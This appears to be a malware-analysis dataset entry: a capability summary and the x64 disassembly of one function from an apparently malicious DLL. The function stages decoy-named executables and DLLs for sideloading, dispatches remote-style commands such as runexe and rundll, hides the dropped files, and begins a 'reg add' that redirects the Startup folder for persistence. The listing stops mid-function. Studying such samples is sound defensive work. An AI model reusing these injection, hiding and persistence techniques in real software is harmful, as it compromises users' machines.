Function at 0x1800039d0
Capabilities:
Allocate or change rwx memory
Check if file exists
Contain obfuscated stackstrings
Create directory
Create process on windows
Create thread
Enumerate processes
Find taskbar
Get common file path
Get file attributes
Inject thread
Query or enumerate registry value
Set file attributes
Set registry value
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x18c0]
mov eax, 0x19c0
call fcn.18001a170
sub rsp, rax
movaps xmmword [rsp + 0x19b0], xmm6
movaps xmmword [rsp + 0x19a0], xmm7
mov r14, rcx
lea rdx, [rbp + 0x9d0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
call fcn.180003700
mov r9, rax
lea r8, [rbp + 0x9d0]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x7b0]
call fcn.18000c5e0
lea r8, [rbp + 0x9d0]
lea rdx, str._sXLBugHandler.dll
lea rcx, [rbp + 0xbf0]
call fcn.18000c5e0
lea r8, [rbp + 0x9d0]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0x1240]
call fcn.18000c5e0
lea rcx, [rbp + 0x80]
call fcn.180003580
nop
lea rcx, [rbp + 0x170]
call fcn.180003580
nop
xor r12d, r12d
mov qword [rbp - 0x60], r12
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], r12b
lea r8d, [r12 + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x60]
call fcn.18000aaf0
nop
lea r8d, [r12 + 1]
lea rdx, [0x180052860]
lea rcx, [rbp - 0x60]
call fcn.18000ac50
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
lea r8d, [r12 + 6]
lea rdx, str.config
lea rcx, [rsp + 0x60]
call fcn.18000ac50
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x230], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x240], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], r12b
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180003b72
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003b6d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005567
call fcn.1800198d8
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180003bc0
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003bbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000556d
call fcn.1800198d8
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov qword [rbp + 0x60], r12
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp + 0x60]
call fcn.18000aaf0
nop
mov r8d, 1
lea rdx, [0x180052860]
lea rcx, [rbp + 0x60]
call fcn.18000ac50
mov qword [rbp + 0x40], r12
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
lea rcx, [rbp + 0x40]
call fcn.18000ac50
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x30], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 1
lea rdx, [0x180052860]
lea rcx, [rbp + 0x20]
call fcn.18000ac50
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x170]
cmp qword [rbp + 0x188], 0x10
cmovae rdx, qword [rbp + 0x170]
mov r8, qword [rbp + 0x180]
lea rcx, [rsp + 0x40]
call fcn.18000ac50
mov qword [rbp - 0x80], r12
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], r12
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 4
lea rdx, str..exe
lea rcx, [rbp - 0x80]
call fcn.18000ac50
mov qword [rbp + 0x150], r12
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x160], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x150], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x160], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0x10
jb 0x180003daa
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003da5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005573
call fcn.1800198d8
mov qword [rbp - 0x70], r12
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180003df7
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003df2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005579
call fcn.1800198d8
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp + 0x38]
cmp rdx, 0x10
jb 0x180003e45
inc rdx
mov rcx, qword [rbp + 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e40
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000557f
call fcn.1800198d8
mov qword [rbp + 0x30], r12
mov qword [rbp + 0x38], 0xf
mov byte [rbp + 0x20], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0x10
jb 0x180003e90
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003e8b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005585
call fcn.1800198d8
mov qword [rbp + 0x50], r12
mov qword [rbp + 0x58], 0xf
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0x10
jb 0x180003edb
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003ed6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000558b
call fcn.1800198d8
mov qword [rbp + 0x70], r12
mov qword [rbp + 0x78], 0xf
mov byte [rbp + 0x60], 0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
mov r8d, 0xe
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x40]
call fcn.18000aaf0
nop
mov r8d, 1
lea rdx, [0x180052860]
lea rcx, [rbp - 0x40]
call fcn.18000ac50
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], r12
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x80]
cmp qword [rbp + 0x98], 0x10
cmovae rdx, qword [rbp + 0x80]
mov r8, qword [rbp + 0x90]
lea rcx, [rsp + 0x60]
call fcn.18000ac50
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x50], xmm1
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 0x10
cmovae rcx, qword [rbp - 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdx, qword [rbp - 0x48]
cmp rdx, 0x10
jb 0x180003ff2
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180003fed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005591
call fcn.1800198d8
mov qword [rbp - 0x50], r12
mov qword [rbp - 0x48], 0xf
mov byte [rbp - 0x60], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x18000403f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000403a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005597
call fcn.1800198d8
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x18000408d
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004088
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000559d
call fcn.1800198d8
lea r8, [rbp + 0x150]
cmp qword [rbp + 0x168], 0x10
cmovae r8, qword [rbp + 0x150]
lea rdx, [0x18005286c]
lea rcx, [rbp + 0xae0]
call fcn.18000c5e0
mov qword [rbp], r12
mov qword [rbp + 0x10], r12
mov qword [rbp + 0x18], 0xf
mov byte [rbp], 0
lea rax, [rbp + 0xae0]
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1800040e0
lea rdx, [rbp + 0xae0]
lea rcx, [rbp]
call fcn.18000aaf0
nop
lea rcx, [rbp]
mov r9, qword [rbp]
mov r10, qword [rbp + 0x18]
cmp r10, 0x10
cmovae rcx, r9
mov rdx, qword [rbp + 0x10]
test rdx, rdx
je 0x180004146
lea rax, [rdx - 1]
mov r8, 0xffffffffffffffff
cmp rax, r8
cmovb r8, rax
add r8, rcx
cmp byte [r8], 0x5c
je 0x180004141
cmp r8, rcx
je 0x180004146
dec r8
cmp byte [r8], 0x5c
jne 0x180004133
sub r8, rcx
jmp 0x18000414d
mov r8, 0xffffffffffffffff
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x30], r12
mov qword [rbp - 0x28], 0xf
mov byte [rbp - 0x40], 0
inc r8
cmp rdx, r8
cmovb r8, rdx
lea rdx, [rbp]
cmp r10, 0x10
cmovae rdx, r9
lea rcx, [rbp - 0x40]
call fcn.18000aaf0
nop
mov r15d, 0xa
mov r8d, r15d
lea rdx, str.libcef.dll
lea rcx, [rbp - 0x40]
call fcn.18000ac50
movups xmm6, xmmword [rax]
movups xmm7, xmmword [rax + 0x10]
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x18]
cmp rdx, 0x10
jb 0x1800041eb
inc rdx
mov rcx, qword [rbp]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800041e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800055a3
call fcn.1800198d8
movups xmmword [rbp], xmm6
movups xmmword [rbp + 0x10], xmm7
mov rdx, qword [rbp - 0x28]
cmp rdx, 0x10
jb 0x18000422e
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004229
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800055a9
call fcn.1800198d8
lea r8, [rbp]
cmp qword [rbp + 0x18], 0x10
cmovae r8, qword [rbp]
lea rdx, [0x18005286c]
lea rcx, [rbp + 0x1130]
call fcn.18000c5e0
lea rax, [rbp + 0x1020]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call fcn.180003700
mov r9, rax
lea r8, [rbp + 0x1020]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x6a0]
call fcn.18000c5e0
lea r8, [rbp + 0x1020]
lea rdx, str._s_assistBase.dll
lea rcx, [rbp + 0xe00]
call fcn.18000c5e0
lea r8, [rbp + 0x9d0]
lea rdx, str._s_tgp_daemon.exe
lea rcx, [rbp + 0xf10]
call fcn.18000c5e0
call fcn.180003700
mov r9, rax
lea r8, [rbp + 0x9d0]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x1790]
call fcn.18000c5e0
lea rcx, [rbp + 0x8c0]
call fcn.180008b00
nop
mov qword [rsp + 0x40], r12
mov word [rsp + 0x48], 1
mov rax, qword [rbp + 0x8c0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x908]
mov qword [rbp - 0x80], rax
test rax, rax
sete byte [rbp - 0x78]
mov byte [rbp - 0x77], 0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0xa0], xmm0
mov qword [rbp + 0xb0], r12
movaps xmm0, xmmword [rsp + 0x40]
movdqa xmmword [rsp + 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movdqa xmmword [rbp - 0x80], xmm1
lea r8, [rsp + 0x40]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0xa0]
call fcn.18000ef60
nop
lea rcx, [rbp + 0x8d0]
call fcn.18000a680
mov r8d, 2
test rax, rax
jne 0x18000439f
mov rax, qword [rbp + 0x8c0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x8c0]
add rcx, rax
mov edx, 6
cmp qword [rcx + 0x48], 0
cmovne edx, r8d
or edx, dword [rcx + 0x10]
xor r8d, r8d
call fcn.180002730
lea rcx, [0x1801e2750]
call fcn.180021050
mov dword [rsp + 0x40], 0x61657771
mov dword [rsp + 0x44], 0x32316473
mov dword [rsp + 0x48], 0x63787a33
mov ecx, 0xc
call fcn.1800198e0
mov qword [rbp - 0x60], rax
lea rbx, [rax + 0xc]
mov qword [rbp - 0x50], rbx
mov r8d, 0xc
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.18001bc10
mov qword [rbp - 0x58], rbx
lea rdx, [rbp - 0x60]
lea rcx, [rbp + 0xa0]
call fcn.180003410
mov qword [rbp - 0x20], r12
mov rcx, r12
mov qword [rbp - 0x10], rcx
mov r8d, 0xf
mov qword [rbp - 8], r8
mov byte [rbp - 0x20], cl
mov rdi, qword [rbp + 0xa8]
mov rbx, qword [rbp + 0xa0]
mov rdx, rdi
sub rdx, rbx
cmp rdx, 0x10
jb 0x180004446
lea rcx, [rbp - 0x20]
call fcn.18000ce00
mov rcx, r12
mov qword [rbp - 0x10], rcx
mov r8, qword [rbp - 8]
lea rax, [rbp - 0x20]
mov qword [rbp + 0x1908], rax
cmp rbx, rdi
je 0x18000449a
movzx r9d, byte [rbx]
cmp rcx, r8
jae 0x18000447f
lea rax, [rcx + 1]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x20]
cmp r8, 0x10
cmovae rax, qword [rbp - 0x20]
mov byte [rax + rcx], r9b
mov byte [rax + rcx + 1], 0
jmp 0x180004488
lea rcx, [rbp - 0x20]
call fcn.18000d060
inc rbx
cmp rbx, rdi
je 0x18000449a
mov r8, qword [rbp - 8]
mov rcx, qword [rbp - 0x10]
jmp 0x180004456
lea rdx, str.__w__________________
lea rcx, [rbp + 0x190]
call fcn.180007b50
nop
mov qword [rbp + 0x1c0], r12
mov byte [rbp + 0x1c8], 0
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x1d0], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x1e0], xmm1
mov qword [rbp + 0x1f0], r12
mov byte [rbp + 0x1f8], 0
movdqa xmmword [rbp + 0x200], xmm0
mov byte [rbp + 0x210], 0
mov qword [rbp + 0x218], r12
mov qword [rbp + 0x220], r12
mov byte [rbp + 0x228], 0
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rdx, qword [rbp - 0x20]
add rdx, qword [rbp - 0x10]
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0x10
cmovae rax, qword [rbp - 0x20]
mov qword [rbp + 0xc0], rax
mov qword [rbp + 0xc8], rdx
lea rcx, [rbp + 0x190]
mov qword [rbp + 0xd0], rcx
mov dword [rbp + 0xd8], r12d
mov qword [rbp + 0xe0], r12
mov byte [rbp + 0xe8], 0
movdqa xmmword [rbp + 0xf0], xmm0
movdqa xmmword [rbp + 0x100], xmm1
mov qword [rbp + 0x110], r12
mov byte [rbp + 0x118], 0
movdqa xmmword [rbp + 0x120], xmm0
mov byte [rbp + 0x130], 0
mov qword [rbp + 0x138], r12
mov qword [rbp + 0x140], r12
mov byte [rbp + 0x148], 0
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r12d
lea r9, [rbp + 0x190]
lea r8, [rbp + 0xe0]
mov rcx, rax
call fcn.18000c900
mov rbx, qword [rbp + 0xd0]
test al, al
cmove rbx, r12
mov qword [rbp + 0xd0], rbx
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x250], xmm0
mov qword [rbp + 0x260], r12
mov qword [rbp + 0x270], r12
mov byte [rbp + 0x278], 0
movdqa xmmword [rbp + 0x280], xmm0
xorps xmm1, xmm1
movdqa xmmword [rbp + 0x290], xmm1
mov qword [rbp + 0x2a0], r12
mov byte [rbp + 0x2a8], 0
movdqa xmmword [rbp + 0x2b0], xmm0
mov byte [rbp + 0x2c0], 0
mov qword [rbp + 0x2c8], r12
mov qword [rbp + 0x2d0], r12
mov byte [rbp + 0x2d8], 0
lea r13, str.qddll
mov rsi, qword [rbp + 0xf0]
nop
test rbx, rbx
sete al
test al, al
jne 0x180004c29
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x520]
call fcn.180005770
nop
mov rcx, qword [rbp + 0x538]
mov rdi, qword [rbp + 0x530]
sub rcx, rdi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
cmp rdx, 4
jne 0x180004afd
cmp byte [rdi + 0x28], 0
je 0x1800046a8
movups xmm0, xmmword [rdi + 0x18]
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800046b0
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], 0xf
mov byte [rsp + 0x40], 0
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x78]
cmp rdx, r8
je 0x1800046e3
sub r8, rdx
lea rcx, [rsp + 0x40]
call fcn.18000aaf0
nop
cmp byte [rdi + 0x40], 0
je 0x1800046f3
movups xmm0, xmmword [rdi + 0x30]
movups xmmword [rbp - 0x80], xmm0
jmp 0x1800046fb
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x60], r12
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x78]
cmp rdx, r8
je 0x18000472e
sub r8, rdx
lea rcx, [rsp + 0x60]
call fcn.18000aaf0
nop
cmp byte [rdi + 0x58], 0
je 0x18000473e
movups xmm0, xmmword [rdi + 0x48]
movups xmmword [rbp - 0x80], xmm0
jmp 0x180004746
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x40], r12
mov qword [rbp - 0x30], r12
mov ebx, 0xf
mov qword [rbp - 0x28], rbx
mov byte [rbp - 0x40], 0
mov rdx, qword [rbp - 0x80]
mov r8, qword [rbp - 0x78]
cmp rdx, r8
je 0x180004778
sub r8, rdx
lea rcx, [rbp - 0x40]
call fcn.18000aaf0
mov rbx, qword [rbp - 0x28]
lea rdx, str.Executing_code_for_identifier
lea rcx, [0x18005c8c0]
call fcn.18000c370
lea rdx, [rsp + 0x40]
cmp qword [rsp + 0x58], 0x10
cmovae rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x50]
mov rcx, rax
call fcn.18000f100
mov rcx, rax
lea rdx, [0x1800528d4]
call fcn.18000c370
lea rdx, [rsp + 0x40]
mov r8, qword [rsp + 0x40]
mov r9, qword [rsp + 0x58]
cmp r9, 0x10
cmovae rdx, r8
mov r10, qword [rsp + 0x50]
cmp r10, 5
jne 0x18000480e
mov rcx, r12
nop dword [rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [rcx + r13 - 1]
jne 0x1800047f9
cmp rcx, 5
jne 0x1800047e0
mov eax, r12d
jmp 0x1800047fe
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000480e
lea rdx, [rbp + 0x1130]
jmp 0x1800049d8
lea rdx, [rsp + 0x40]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 6
jne 0x18000485e
mov rcx, r12
lea r11, str.runexe
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004849
cmp rcx, 6
jne 0x180004830
mov eax, r12d
jmp 0x18000484e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000485e
lea rdx, [rbp + 0x6a0]
jmp 0x1800049d8
lea rdx, [rsp + 0x40]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 6
jne 0x1800048ae
mov rcx, r12
lea r11, str.rundll
nop dword [rax + rax]
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004899
cmp rcx, 6
jne 0x180004880
mov eax, r12d
jmp 0x18000489e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800048ae
lea rdx, [rbp + 0xe00]
jmp 0x1800049d8
lea rax, [rsp + 0x40]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 3
jne 0x1800048ec
cmp byte [rax], 0x62
jne 0x1800048d7
cmp byte [rax + 1], 0x77
jne 0x1800048d7
cmp byte [rax + 2], 0x6a
jne 0x1800048d7
mov eax, r12d
jmp 0x1800048dc
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800048ec
lea rdx, [rbp + 0x7b0]
jmp 0x1800049d8
lea rax, [rsp + 0x40]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 3
jne 0x18000492a
cmp byte [rax], 0x64
jne 0x180004915
cmp byte [rax + 1], 0x6c
jne 0x180004915
cmp byte [rax + 2], 0x6c
jne 0x180004915
mov eax, r12d
jmp 0x18000491a
sbb eax, eax
or eax, 1
test eax, eax
jne 0x18000492a
lea rdx, [rbp + 0xbf0]
jmp 0x1800049d8
lea rax, [rsp + 0x40]
cmp r9, 0x10
cmovae rax, r8
cmp r10, 2
jne 0x180004962
cmp byte [rax], 0x71
jne 0x18000494d
cmp byte [rax + 1], 0x64
jne 0x18000494d
mov eax, r12d
jmp 0x180004952
sbb eax, eax
or eax, 1
test eax, eax
jne 0x180004962
lea rdx, [rbp + 0x1240]
jmp 0x1800049d8
lea rdx, [rsp + 0x40]
cmp r9, 0x10
cmovae rdx, r8
cmp r10, 5
jne 0x1800049ab
mov rcx, r12
lea r11, str.qdexe
nop
movzx eax, byte [rdx + rcx]
inc rcx
cmp al, byte [r11 + rcx - 1]
jne 0x180004999
cmp rcx, 5
jne 0x180004980
mov eax, r12d
jmp 0x18000499e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x1800049ab
lea rdx, [rbp + 0xae0]
jmp 0x1800049d8
lea rcx, [rsp + 0x40]
cmp r9, 0x10
cmovae rcx, r8
cmp r10, 0xa
jne 0x1800049ee
mov r8, r15
lea rdx, str.tgp_daemon
call fcn.18001c520
test eax, eax
jne 0x1800049ee
lea rdx, [rbp + 0xf10]
lea rcx, [rsp + 0x60]
cmp qword [rsp + 0x78], 0x10
cmovae rcx, qword [rsp + 0x60]
call fcn.1800032e0
lea rcx, [rbp + 0x6a0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180004a12
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x6a0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, [rbp + 0xe00]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180004a37
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xe00]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
nop
cmp rbx, 0x10
jb 0x180004a70
lea rdx, [rbx + 1]
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004a6a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800055af
call fcn.1800198d8
nop
mov rdx, qword [rsp + 0x78]
cmp rdx, 0x10
jb 0x180004aad
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004aa8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800055b5
call fcn.1800198d8
mov qword [rsp + 0x70], r12
mov qword [rsp + 0x78], 0xf
mov byte [rsp + 0x60], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0x10
jb 0x180004afd
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004af8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800055bb
call fcn.1800198d8
mov rsi, qword [rbp + 0xf0]
mov rbx, qword [rsi + 8]
xor dl, dl
cmp qword [rsi], rbx
jne 0x180004b54
mov rdx, qword [rbp + 0xc8]
cmp rbx, rdx
je 0x180004ba7
mov ecx, dword [rbp + 0xd8]
or ecx, 0x60
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0xd0]
lea r8, [rbp + 0xe0]
mov rcx, rbx
call fcn.18000c900
test al, al
jne 0x180004bb3
mov dl, 1
mov eax, dword [rbp + 0xd8]
bts eax, 8
mov dword [rbp + 0xd8], eax
mov ecx, eax
bts ecx, 0xe
test dl, dl
cmove ecx, eax
mov rax, qword [rbp + 0xc0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, qword [rbp + 0xd0]
lea r8, [rbp + 0xe0]
mov rdx, qword [rbp + 0xc8]
mov rcx, rbx
call fcn.18000c900
test al, al
jne 0x180004bb3
mov rsi, qword [rbp + 0xf0]
mov rbx, r12
mov qword [rbp + 0xd0], rbx
jmp 0x180004bc1
mov rsi, qword [rbp + 0xf0]
mov rbx, qword [rbp + 0xd0]
test rdi, rdi
je 0x180004640
mov rcx, qword [rbp + 0x540]
sub rcx, rdi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x180004c1c
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800055c1
mov rcx, rdi
call fcn.1800198d8
jmp 0x180004640
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.180003700
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x410]
call qword [sym.imp.USER32.dll_wsprintfA]
mov r8, r14
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0x1350]
